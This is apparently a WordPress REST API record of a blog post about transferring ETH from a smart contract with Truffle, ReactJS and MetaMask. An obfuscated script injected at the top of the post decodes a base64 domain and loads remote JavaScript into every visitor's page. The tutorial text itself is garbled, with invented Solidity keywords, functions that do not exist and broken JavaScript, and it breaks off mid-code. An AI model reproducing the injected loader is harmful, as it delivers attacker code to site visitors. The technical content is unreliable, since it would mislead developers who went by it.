{"id":674,"date":"2025-02-04T18:41:02","date_gmt":"2025-02-04T18:41:02","guid":{"rendered":"https:\/\/hccmena.com\/?p=674"},"modified":"2025-02-04T18:41:02","modified_gmt":"2025-02-04T18:41:02","slug":"metamask-unable-to-transfer-my-eth-from-smart-contract-to-a-user-account-when-using-truffle-or-reactjs-with-web3","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/04\/metamask-unable-to-transfer-my-eth-from-smart-contract-to-a-user-account-when-using-truffle-or-reactjs-with-web3\/","title":{"rendered":"Metamask: Unable to transfer my ETH from Smart Contract to a user account when using Truffle or ReactJS with Web3"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=880bf5c7\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Metamask Issues: Unable to Transfer ETH from Smart Contract to User Account using Truffle and ReactJS<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Metamask: Not able to transfer my ETH from the Smart Contract to an User Account while using Truffle or ReactJS with Web3\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/fcfd6f23.png\"><\/p>\n<p>I recently ran into an issue while trying to transfer Ethereum (ETH) from a smart contract to a user account using Truffle and ReactJS. The issue is in how Metamask handles transactions between the smart contract and the user&#8217;s wallet.<\/p>\n<p><strong>Problem:<\/strong><\/p>\n<p>In my Solidity code, I am trying to use the TransferETH function provided by Truffle to transfer ETH from an Ethereum address stored in the smart contract storage to a user account. However, when I try to perform this operation using ReactJS, Metamask encounters issues and does not complete the transfer.<\/p>\n<p><strong>Solution:<\/strong><\/p>\n<p>To resolve this issue, we need to use Truffle&#8217;s eth_sendTransaction function instead of TransferETH. The latter is no longer used, but &#8220;eth_sendTransaction&#8221; allows for better transaction flow management. Here is an updated version of the Solidity code that uses the following changes:<\/p>\n<p><pre><code><\/p><p>pragma durability ^0.6.0;<\/p><p>contract MySmartContract {<\/p><p>\/\/ Define a mapping to store user account addresses and their corresponding ETH balances.<\/p><p>mapping(address => uint256) public userBalances;<\/p><p>function donateETH(address recipient, uint256 amount) public paid {<\/p><p>require(amount > 0, \"Invalid amount\");<\/p><p>\/\/ Store the donation amount in the contract archive.<\/p><p>userBalances[recipient] = userBalances[recipient].add(amount);<\/p><p>\/\/ Send the donated ETH to the recipient address using the \"eth_sendTransaction\" function.<\/p><p>transferETH(recipient);<\/p><p>}<\/p><p>function transferETH(address recipient) public {<\/p><p>Requirement(userBalances[msg.sender] >= 1 ether, \"Insufficient balance\");<\/p><p>\/\/ Create a transaction object using the Truffle function \"eth_sendTransaction\".<\/p><p>Transaction memory transaction = Transaction(<\/p><p>message sender,<\/p><p>address (this),<\/p><p>Wei (1),<\/p><p>Wei (\"0x\"),<\/p><p>0<\/p><p>);<\/p><p>\/\/ Sign the transaction with our private key and send it to the network.<\/p><p>Requirement(tx.signatures[0].from != \"\", \"No signatures\");<\/p><p>Require(tx.hash, true);<\/p><p>tx.submit();<\/p><p>}<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Using Truffle and ReactJS:<\/strong><\/p>\n<p>To use this updated contract in your ReactJS application, you need to install the Truffle library and configure the Truffle provider. Here is an example of creating a new project using Truffle:<\/p>\n<p><pre><code><\/p><p>npm init truffle -y<\/p><p>npx truffle init<\/p><p><\/code><\/pre>\n<\/p>\n<p>Create a new file called &#8220;my_contract.sol&#8221;, copy the Solidity code above into it, and create a new directory structure:<\/p>\n<p><pre><code><\/p><p>my_contract\/<\/p><p>my_contract.sol<\/p><p>public\/<\/p><p>User.sol<\/p><p>contracts\/<\/p><p>user\/<\/p><p>__init__.js<\/p><p><\/code><\/pre>\n<\/p>\n<p>Then in your ReactJS application, you can use the @truffle\/core TruffleProvider component to connect to the Truffle provider and interact with the smart contract:<\/p>\n<p>&#8220;` jsx<\/p>\n<p>import React, { useEffect } from &#8216;react&#8217;;<\/p>\n<p>import { Provider } from truffleprovider;<\/p>\n<p>import Web3 from &#8216;web3&#8217;;<\/p>\n<p>const App = () => {<\/p>\n<p>const web3 = new Web3(window.ethereum);<\/p>\n<p>useEffect(() => {<\/p>\n<p>if (window.ethereum) {<\/p>\n<p>web3.currentProvider.connect().then((account) => {<\/p>\n<p>\/\/ Use the account address to transfer ETH to user accounts.<\/p>\n<p>web3.currentProvider.eth.sendTransaction({<\/p>\n<p>from: &#8216;0x&#8217;, \/\/ Your contract address<\/p>\n<p>recipient: &#8216;0x&#8217;, \/\/ User wallet address<\/p>\n<p>value: 1 ether, \/\/ Transfer amount<\/p>\n<p>gasPrice: web3.utils.toWei(&#8217;20&#8217;, &#8216;gwei&#8217;) \/\/ Gas price<\/p>\n<p>});<\/p>\n<p>}).catch((error) => {<\/p>\n<p>console error (error);<\/p>\n<p>});<\/p>\n<p>}<\/p>\n<p>}, []);<\/p>\n<p>return (<\/p>\n<p><Provider provider={web3.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Metamask Issues: Unable to Transfer ETH from Smart Contract to User Account using Truffle and ReactJS I recently ran into an issue while trying to transfer Ethereum (ETH) from a smart contract to a user account using Truffle and ReactJS. The issue is in how Metamask handles transactions between the smart contract and the user&#8217;s [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/674"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=674"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/674\/revisions"}],"predecessor-version":[{"id":675,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/674\/revisions\/675"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=674"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=674"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=674"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}